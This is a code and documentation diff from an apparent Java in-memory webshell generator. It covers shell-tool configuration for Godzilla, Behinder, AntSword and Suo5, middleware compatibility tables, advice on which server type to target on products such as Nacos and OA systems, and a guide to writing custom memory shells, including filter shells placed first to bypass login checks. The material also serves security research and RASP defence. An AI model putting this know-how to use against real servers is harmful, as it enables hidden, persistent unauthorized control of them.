-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import lombok.SneakyThrows;
-import lombok.extern.slf4j.Slf4j;
-import org.springframework.core.io.ClassPathResource;
-import org.springframework.http.ResponseEntity;
 import org.springframework.stereotype.Controller;
-import org.springframework.util.FileCopyUtils;
 import org.springframework.web.bind.annotation.GetMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
-
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.nio.charset.StandardCharsets;
 
 /**
  * @author ReaJason
  * @since 2024/12/19
  */
 @Controller
-@Slf4j
 public class ViewController {
     @GetMapping("/")
     public String index(){
-        return "redirect:/ui";
+        return "index";
-    }
-
-    @GetMapping({"/api/search", "/api/search.data"})
-    @ResponseBody
-    public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
-        String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
-        String relativePath = fullPath.substring(1);
-        return renderFileData(relativePath, response);
-    }
-
-    @GetMapping("/ui/**")
-    @SneakyThrows
-    public Object handleView(HttpServletRequest request, HttpServletResponse response) {
-        String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
-        if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
-            return "index";
-        }
-        String docPath = fullPath.substring(4);
-        if (docPath.endsWith(".data")) {
-            return ResponseEntity.ok(renderFileData(docPath, response));
-        }
-        return docPath + "/index";
-    }
-
-    private String renderFileData(String relativePath, HttpServletResponse response) {
-        try {
-            String templatePath = "templates/" + relativePath;
-            ClassPathResource resource = new ClassPathResource(templatePath);
-            if (!resource.exists()) {
-                response.setStatus(HttpServletResponse.SC_NOT_FOUND);
-                return "File not found: " + relativePath;
-            }
-            InputStreamReader reader = new InputStreamReader(
-                    resource.getInputStream(),
-                    StandardCharsets.UTF_8
-            );
-            return FileCopyUtils.copyToString(reader);
-        } catch (IOException e) {
-            response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
-            return "Error reading file: " + e.getMessage();
-        }
     }
 }

boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java

@@ -23,7 +23,6 @@ public class MemShellGenerateRequest {
         private String godzillaPass;
         private String godzillaKey;
         private String commandParamName;
-        private String commandTemplate;
         private String behinderPass;
         private String antSwordPass;
         private String headerName;
@@ -51,13 +50,10 @@ public class MemShellGenerateRequest {
             case Command -> CommandConfig.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .paramName(shellToolConfig.getCommandParamName())
-                    .headerName(shellToolConfig.getHeaderName())
-                    .headerValue(shellToolConfig.getHeaderValue())
-                    .template(shellToolConfig.getCommandTemplate())
                     .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
                     .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
                     .build();
-            case Suo5, Suo5v2 -> Suo5Config.builder()
+            case Suo5 -> Suo5Config.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .headerName(shellToolConfig.getHeaderName())
                     .headerValue(shellToolConfig.getHeaderValue())
@@ -77,10 +73,6 @@ public class MemShellGenerateRequest {
                     .shellClassBase64(shellToolConfig.getShellClassBase64())
                     .shellClassName(shellToolConfig.getShellClassName())
                     .build();
-            case Proxy -> ProxyConfig.builder()
-                    .headerName(shellToolConfig.getHeaderName())
-                    .headerValue(shellToolConfig.getHeaderValue())
-                    .shellClassName(shellToolConfig.shellClassName).build();
             default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
         };
     }

boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java

@@ -21,7 +21,6 @@ public class ProbeShellGenerateRequest {
         private String server;
         private String sleepServer;
         private String reqParamName;
-        private String commandTemplate;
     }
 
     public ProbeContentConfig parseProbeContentConfig() {
@@ -35,7 +34,6 @@ public class ProbeShellGenerateRequest {
                     .build();
             case ResponseBody -> ResponseBodyConfig.builder()
                     .reqParamName(probeContentConfig.reqParamName)
-                    .commandTemplate(probeContentConfig.commandTemplate)
                     .server(probeContentConfig.server)
                     .build();
             default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());

boot/src/main/java/com/reajason/javaweb/boot/entity/VersionInfo.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.boot.entity;
 
-import lombok.Builder;
 import lombok.Data;
+import lombok.Builder;
 
 /**
  * @author ReaJason

boot/src/main/resources/application.yaml

@@ -2,6 +2,3 @@ spring:
   application:
     name: boot
     version: ${version}
-  mvc:
-    pathmatch:
-      matching-strategy: ant_path_matcher

boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java

@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
 
 import org.junit.jupiter.api.Test;
 
-import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.*;
 
 /**
  * @author ReaJason

boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java

@@ -26,21 +26,21 @@ public class ConfigControllerIntegrationTest {
 
     @Test
     public void testConfigEndpoint() {
-        ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
+        ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
         assertEquals(HttpStatus.OK, response.getStatusCode());
         assertNotNull(response.getBody());
     }
 
     @Test
     public void testConfigServersEndpoint() {
-        ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
+        ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
         assertEquals(HttpStatus.OK, response.getStatusCode());
         assertNotNull(response.getBody());
     }
 
     @Test
     public void testConfigPackersEndpoint() {
-        ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
+        ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
         assertEquals(HttpStatus.OK, response.getStatusCode());
         assertNotNull(response.getBody());
     }

boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java

@@ -51,7 +51,7 @@ class MemShellGeneratorControllerTest {
         shellToolConfigDTO.setHeaderValue("hello");
         request.setShellToolConfig(shellToolConfigDTO);
         ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
-                "/api/memshell/generate", request, MemShellGenerateResponse.class);
+                "/memshell/generate", request, MemShellGenerateResponse.class);
         assertEquals(HttpStatus.OK, response.getStatusCode());
         assertNotNull(response.getBody());
     }

build-logic/build.gradle.kts

@@ -7,5 +7,5 @@ repositories {
 }
 
 dependencies {
-    implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
+    implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
 }

build-logic/src/main/kotlin/maven-publish-convention.gradle.kts

@@ -3,7 +3,7 @@ plugins {
 }
 
 mavenPublishing {
-    publishToMavenCentral(automaticRelease = true, validateDeployment = true)
+    publishToMavenCentral(true)
     signAllPublications()
     coordinates(
         "io.github.reajason",

build.gradle.kts

@@ -9,16 +9,10 @@ idea {
     }
 }
 
-version = "2.7.0"
+version = "2.2.0"
 
 tasks.register("publishAllToMavenCentral") {
     dependsOn(":memshell-party-common:publishToMavenCentral")
     dependsOn(":packer:publishToMavenCentral")
     dependsOn(":generator:publishToMavenCentral")
 }
-
-tasks.register("publishAllToMavenLocal") {
-    dependsOn(":memshell-party-common:publishToMavenLocal")
-    dependsOn(":packer:publishToMavenLocal")
-    dependsOn(":generator:publishToMavenLocal")
-}

docs/BuildOnLocal.md

@@ -1,7 +1,4 @@
----
+## 本地构建
-title: 编译打包
-icon: Package
----
 
 ### 源代码构建
 
@@ -59,7 +56,7 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
 
 > 适合于希望构建自定义访问路径的小伙伴，例如 NGINX 反代的场景（[#44](https://github.com/ReaJason/MemShellParty/issues/44)）
 
-下载项目根目录的 [Dockerfile](https://github.com/ReaJason/MemShellParty/blob/master/Dockerfile)
+下载项目根目录的 [Dockerfile](./Dockerfile)
 
 - ROUTE_ROOT_PATH: 前端根路由配置
 - CONTEXT_PATH: 后端访问前缀

docs/Compatibility.md

@@ -0,0 +1,84 @@
+## 适配情况
+
+已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
+
+### 中间件以及框架
+
+| Tomcat（5 ~ 11）       | Jetty（6 ~ 11）          | GlassFish（3 ~ 7）     | Payara（5 ~ 6）        |
+|----------------------|------------------------|----------------------|----------------------|
+| Servlet              | Servlet                | Filter               | Filter               |
+| Filter               | Filter                 | Listener             | Listener             |
+| Listener             | Listener               | Valve                | Valve                |
+| Valve                | ServletHandler - Agent | FilterChain - Agent  | FilterChain - Agent  |
+| ProxyValve           |                        |                      |                      |
+| FilterChain - Agent  |                        | ContextValve - Agent | ContextValve - Agent |
+| ContextValve - Agent |                        |                      |                      |
+
+| Resin（3 ~ 4）        | SpringMVC                | SpringWebFlux   | XXL-JOB      |
+|---------------------|--------------------------|-----------------|--------------|
+| Servlet             | Interceptor              | WebFilter       | NettyHandler |
+| Filter              | ControllerHandler        | HandlerMethod   |              |
+| Listener            | FrameworkServlet - Agent | HandlerFunction |              |
+| FilterChain - Agent |                          | NettyHandler    |              |
+
+| JBossAS（4 ~ 7）       | JBossEAP（6 ~ 7）            | WildFly（9 ~ 30）        | Undertow               |
+|----------------------|----------------------------|------------------------|------------------------|
+| Filter               | Filter                     | Servlet                | Servlet                |
+| Listener             | Listener                   | Filter                 | Filter                 |
+| Valve                | Valve(6)                   | Listener               | Listener               |
+| ProxyValve           |                            |                        |                        |
+| FilterChain - Agent  | FilterChain - Agent (6)    | ServletHandler - Agent | ServletHandler - Agent |
+| ContextValve - Agent | ContextValve - Agent (6)   |                        |                        |
+|                      | ServletHandler - Agent (7) |                        |                        |
+
+| WebSphere（7 ~ 9）      | WebLogic （10.3.6  ~ 14） |
+|-----------------------|-------------------------|
+| Servlet               | Servlet                 |
+| Filter                | Filter                  |
+| Listener              | Listener                |
+| FilterManager - Agent | ServletContext - Agent  |
+
+| BES（9.5.x）           | TongWeb（6 ~ 8）       | InforSuite AS （9 ~ 10） |
+|----------------------|----------------------|------------------------|
+| Filter               | Filter               | Filter                 |
+| Listener             | Listener             | Listener               |
+| Valve                | Valve                | Valve                  |
+| FilterChain - Agent  | FilterChain - Agent  | FilterChain - Agent    |
+| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent   |
+
+| Apusic AS （9 ~ 10）  | Primeton（6.5）        |
+|---------------------|----------------------|
+| Servlet             | Filter               |
+| Filter              | Listener             |
+| Listener            | Valve                |
+| FilterChain - Agent | FilterChain - Agent  |
+|                     | ContextValve - Agent |
+
+### 内存马功能
+
+- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
+- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
+- [x] 命令执行
+- [x] [Suo5](https://github.com/zema1/suo5)
+- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
+- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
+- [x] Custom
+
+### 封装方式
+
+- [x] BASE64
+- [x] GZIP BASE64
+- [x] JSP
+- [x] JSPX
+- [x] JAR
+- [x] BCEL
+- [x] 内置脚本引擎、Rhino 脚本引擎
+- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
+- [x] Velocity、Freemarker、JinJava
+- [x] 原生反序列化（CB 和 CC 链）
+- [x] Agent
+- [x] XXL-JOB Executor
+- [x] Hessian、Hessian2 反序列化（XSLT链）
+- [ ] JNDI
+- [ ] JDBC 连接
+- [ ] 其他常见反序列化

docs/README.en.md

@@ -36,9 +36,9 @@ What you can learn or try from this project:
 4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
 5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
 
-![normal_generator](../assets/normal_generator.png)
+![normal_generator](../asserts/normal_generator.png)
 
-![agent_generator](../assets/agent_generator.png)
+![agent_generator](../asserts/agent_generator.png)
 
 ## Key Features
 

docs/RecommendToolForJavaGuys.md

@@ -1,15 +1,13 @@
----
+# 学习 Java 内存马推荐工具
-title: 工具推荐
+
-description: 工欲善其事必先利其器
+> 工欲善其事必先利其器
----
 
 ## Arthas
 
 Arthas 是阿里云开源的 Java 诊断工具，其本质是一个 Java Agent，它提供了各种各样的命令，能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有，以下会列举一些常见的场景和问题
 
-JDK8 以上的下载链接：https://arthas.aliyun.com/doc/download.html
+JDK8 以上的下载链接，https://arthas.aliyun.com/doc/download.html
-
+JDK6/7 下载链接，https://arthas.aliyun.com/3.x/doc/download.html
-JDK6/7 下载链接：https://arthas.aliyun.com/3.x/doc/download.html
 
 ### 启动 Arthas
 

docs/ServerIntro.md

@@ -0,0 +1,130 @@
+# Java 服务简介
+
+以下服务仅我个人遇到的一些场景，与实际攻防场景可能仍有差距，但是在 MemShellParty
+中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充，欢迎 PR 交流学习~
+
+## Tomcat
+
+> https://tomcat.apache.org/
+
+Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现，限制较少，在 MemShellParty 中，服务类型选 Tomcat 即可生成 Tomcat
+内存马。
+
+一般而言，SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能，比如 Nacos，这种情况下可以选择 Tomcat 内存马注入。
+
+其他服务中，致远 OA、Confluence、帆软使用的是 Tomcat。
+
+## Jetty
+
+> https://jetty.org/
+
+Jetty6 版本使用的包名为 `org.mortbay.jetty`，而 7 以上使用的是 `org.eclipse.jetty`，在测试最新的 Jenkins 时，发现 Jetty11+
+版本支持 ee8 ~ ee10 的环境，包名对应的是 `org.eclipse.jetty.ee8`，这些在 MemShellParty 中均已支持，因此服务类型选 Jetty
+即可生成 Jetty 内存马。
+
+在 SpringWebMVC 项目中也是有可能使用的。
+
+## JBoss
+
+> JBossAS: https://jbossas.jboss.org/downloads
+
+> JBossEAP: https://developers.redhat.com/products/eap/download
+
+JBoss 分为 JBossAS 和 JBossEAP，JBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现，JBossEAP7 及其以上使用的
+[Undertow](https://undertow.io/) 提供的 Servlets 实现。
+
+因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成，而 JBossEAP7 服务类型需要选择
+Undertow 进行内存马的生成。
+
+## Wildfly
+
+> https://www.wildfly.org/
+
+Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现，因此服务类型选择 Undertow 生成内存马
+
+## GlassFish
+
+> https://glassfish.org/
+
+GlassFish 使用的是 Catalina 提供的 Servlets 实现，但是使用了 OSGI 类加载模式，因此类限制较为严重，在 MemShellParty 中，服务类型选择
+GlassFish 进行内存马的生成。
+
+## Payara
+
+> https://www.payara.fish/downloads/
+
+基于 GlassFish 开发，服务类型选择 GlassFish 进行内存马的生成。
+
+## Resin
+
+> https://caucho.com/products/resin/download
+
+Resin 使用的包名为 `com.caucho.`，服务类型选择 Resin 进行内存马的生成。
+
+泛微 OA 使用的就是 Resin 提供的服务。
+
+## WebLogic
+
+> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
+
+WebLogic 使用的包名为 `weblogic.`，服务类型选择 WebLogic 进行内存马的生成。
+
+## WebSphere
+
+> https://www.ibm.com/products/websphere-application-server
+
+WebSphere 是 IBM 研发的商用 Servlets 容器，开源版本为 Websphere liberty，
+包名为 `com.ibm.`，服务类型选择 WebSphere 进行内存马的生成。
+
+## BES
+
+> https://www.bessystem.com/
+
+BES 宝兰德，其基于 Tomcat 进行二开，在 BES 9.5.1 版本中没有进行包名修改，而在 BES 9.5.2
+版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本，服务类型选择 Tomcat 进行内存马的生成，BES 9.5.2+ 服务类型选择
+BES 进行内存马的生成。
+
+## TongWeb
+
+> https://www.tongtech.com/sy.html
+
+TongWeb 东方通，其基于 Tomcat 进行二开，并且在最初的 6 版本就进行了包名修改，每个版本都进行了修改。
+
+- TongWeb6: `com.tongweb.web.thor.`
+- TongWeb7: `com.tongweb.catalina.`
+- TongWeb8: `com.tongweb.server.`
+
+这三个版本在 MemShellParty 中均有适配，服务类型选择 TongWeb 进行内存马的生成。
+
+## Apusic
+
+> https://www.apusic.com/
+
+金蝶中间件，Apusic9 疑似魔改自 GlassFish，不过改得面目全非了，自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
+版本服务类型选择
+Apusic 进行内存马生成，Apusic10 版本选择 GlassFish 进行内存马生成。
+
+## Primeton
+
+> https://www.primeton.com/products/pas/
+
+普元中间件，Primeton6.5 版本基于 GlassFish
+二开，高版本疑似做了包名修改，但没有环境，因此暂未适配（[#60](https://github.com/ReaJason/MemShellParty/issues/60)）因此当前仅支持
+Primeton6.5 版本，服务类型选择 GlassFish 进行内存马生成。
+
+## InforSuite
+
+中创中间件，InforSuite 基于 GlassFish 进行二开，不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
+iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
+
+## SpringWebMVC
+
+Spring 框架，默认的 MVC 架构，官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow，也可打包成 war 包部署于任意 Servlets
+容器上。内存马注入场景下不推荐框架内存马，而是具体的 Servlets 容器内存马，因为可绕过框架的限制（鉴权或其他）。服务类型选择
+SpringWebMVC 进行内存马生成。
+
+## SpringWebFlux
+
+Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件，底层使用的 Netty，一般常见于各种 SpringCloud 项目，例如网关。服务类型选择
+SpringWebFlux 进行内存马生成。
+

docs/WhatIsMemShell.md

@@ -1,8 +1,6 @@
----
+# Java 内存马简介
-title: 什么是 Java 内存马
----
 
-Java 内存马是一种无文件 webshell，相较于传统的 webshell，它无须落地 JSP 文件即可实现 webshell 的所有功能。其唯一缺点可能就是服务重启即失效，不过也出现了附带的内存马复活相关技术。
+Java 内存马是一种无文件 webshell，相较于传统的 webshell，它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效，因此也出现了附带的内存马复活相关技术。
 
 ## 什么是 webshell
 
@@ -12,17 +10,17 @@ webshell 是一种类似于 shell 的入口，攻击者可通过它来控制目
 
 常见的 webshell 功能包括：
 
-1. 命令回显，反弹 unix shell。
+1. 命令回显，反弹 unix shell
 2. 网站管理工具，例如蚁剑、哥斯拉和冰蝎等。
 3. 代理隧道，例如 reGeorg、Neo-reGeorg、suo5 等。
 
 ## 演变历程
 
-随着攻防对抗强度越来越高，主机安全（文件监控、防篡改、EDR），WAF 流量设备，webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马，不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效，而加密则是针对 WAF 等流量设备，因此内存马使用得越来越多，当前唯一真正有效的防护措施似乎只剩下了 **RASP（运行时应用安全防护）** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
+随着攻防演练热度越来越高，主机安全（文件监控、防篡改、EDR），WAF 流量设备，webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马，不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效，而加密则是针对 WAF 等流量设备，因此内存马使用得越来越多，当前唯一真正有效的防护措施只剩下了 **RASP（运行时应用安全防护）** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
 
-内存马也被称为内存 webshell，相较于传统 webshell 的文件落地方式，只是在攻防对抗中进化，换了个实现方式挂 webshell。
+因此内存马也被称为内存 webshell，相较于传统 webshell 的文件落地方式，只是在攻防对抗中进化，换了个实现方式挂 webshell。
 
-此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell，或许当你遇到有意思的 webshell 时，可以考虑将其改造成内存马。
+此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell，或许你遇到有意思的 webshell 时，可以考虑将其改造成内存马。
 
 ## 常见 Java 内存马
 
@@ -32,7 +30,7 @@ webshell 是一种类似于 shell 的入口，攻击者可通过它来控制目
 
 **任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
 
-Java EE 中的 Servlet 规范就提供了 Servlet、Filter 以及 Listener，Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor，SpringWebFlux 中的 WebFilter 这种框架内存马也被广泛使用。
+Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 Listener，Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor，SpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
 
 从技术实现的不同，分为非 Agent 内存马与 Agent 内存马，由于 Agent 内存马需要落地 Jar 包，冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式，参考：[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
 

docs/WriteCustomShell.md

@@ -0,0 +1,54 @@
+## 如何使用自定义内存马功能
+
+MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入，注入的伪代码如下：
+
+```java
+Object context = getContext();
+Object shell = defineClass(getShellBase64Str());
+
+inject(context, shell);
+```
+
+自定义内存马就是开放 getShellBase64Str 的修改，通过生成界面传入内存马的 base64 或 class 文件来实现。
+
+注入器的选择，在通过生成界面选完目标服务和挂载类型就已经确认好了，无法自定义。
+
+### 实现参考
+
+1. Servlets 相关内存马使用 javax.servlet 即可，当挂载类型选为 Jakarta 开头，在生成时会自动将 javax 改为
+   jakarta，无须重复实现。
+2. Listener 内存马生成时，通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
+   方法上，因此推荐按参考实现一样使用空实现，额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object。
+3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可，当选中 BES/TongWeb 等会自动改为其特有的包名前缀，无须重复实现。
+4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类，因为 Agent
+   内存马类会放进所增强类的 ClassLoader 中，部分中间件会存在模块隔离，无法直接使用部分类，例如 `java.util.Base64`、
+   `javax.crypto.Cipher`。
+
+| 挂载类型                                                     | 参考实现                                                                                                                                                                                                |
+|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| Servlet/JakartaServlet                                   | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java)                               |
+| Filter/JakartaFilter                                     | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java)                                 |
+| Listener/JakartaListener                                 | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java)                             |
+| Valve/JakartaValve                                       | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java)                                   |
+| ProxyValve/JakartaProxyValve                             | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
+| WebSocket/JakartaWebSocket                               | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java)                           |
+| (SpringWebMVC)Interceptor/JakartaInterceptor             | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java)                       |
+| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java)           |
+| (SpringWebFlux)WebFilter                                 | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java)                           |
+| (SpringWebFlux)HandlerMethod                             | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java)                   |
+| (SpringWebFlux)HandlerFunction                           | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java)               |
+| NettyHandler                                             | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java)                     |
+| AgentFilterChain/AgentContextValve                       | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
+| (SpringWebMVC)AgentFrameworkServlet                      | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
+| (Jetty)AgentHandler                                      | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java)                     |
+| (WAS)AgentFilterManager                                  | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
+| (WebLogic)AgentServletContext                            | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
+| (Undertow)AgentServletHandler                            | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
+
+### 参考步骤
+
+1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
+2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
+3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava`
+4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
+5. 在生成界面，选择目标服务 - Custom - 挂载类型，上传 class 文件，选择打包方式并生成

docs/shell/FilterShell.md

@@ -1,6 +1,4 @@
----
+# Java Servlet Filter
-title: Filter
----
 
 > [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
 
@@ -63,7 +61,7 @@ public interface Filter {
 
 shell 的目的，就是为了定义一个入口，我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求，以下定义了一个命令回显的 FilterShell。
 
-1. 一般而言，我们会为 FilterShell 注册 url-pattern 为 `/*`，这样无论访问哪个路径都能被调用到，而且为了绕过登录过滤器，我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。
+1. 一般而言，我们会为 FilterShell 注册 url-pattern 为 `/*`，这样无论访问哪个路径都能被调用到，而且为了绕过登录过滤器，我们会把 FilterShell 注册为  FilterChain 中的第一个过滤器。
 2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`，也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
 3. 当 Filter 注册的 url-pattern 为 `/*` 时，我们拿到 cmd 参数，就可以执行命令并填充响应对象 `return` 结束请求，而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`，否则正常的业务就不会被执行。
 

docs/shell/ListenerShell.md

@@ -1,23 +1,21 @@
----
+# Event Listeners
-title: Listener
----
 
 > [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
 
 Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个，并且开发者可以指定监听器的调用顺序。
 
-| Listener 接口类                                  | 描述                                       |
+| Listener 接口类                                     | 描述                              |
-| ------------------------------------------------ | ------------------------------------------ |
+|--------------------------------------------------|---------------------------------|
-| javax.servlet.ServletContextListener             | 在 ServletContext 创建以及销毁时           |
+| javax.servlet.ServletContextListener             | 在 ServletContext 创建以及销毁时        |
-| javax.servlet.ServletContextAttributeListener    | 在 ServletContext 添加、移除或替换属性时   |
+| javax.servlet.ServletContextAttributeListener    | 在 ServletContext 添加、移除或替换属性时    |
-| javax.servlet.http.HttpSessionListener           | 在 HttpSession 创建和销毁时                |
+| javax.servlet.http.HttpSessionListener           | 在 HttpSession 创建和销毁时            |
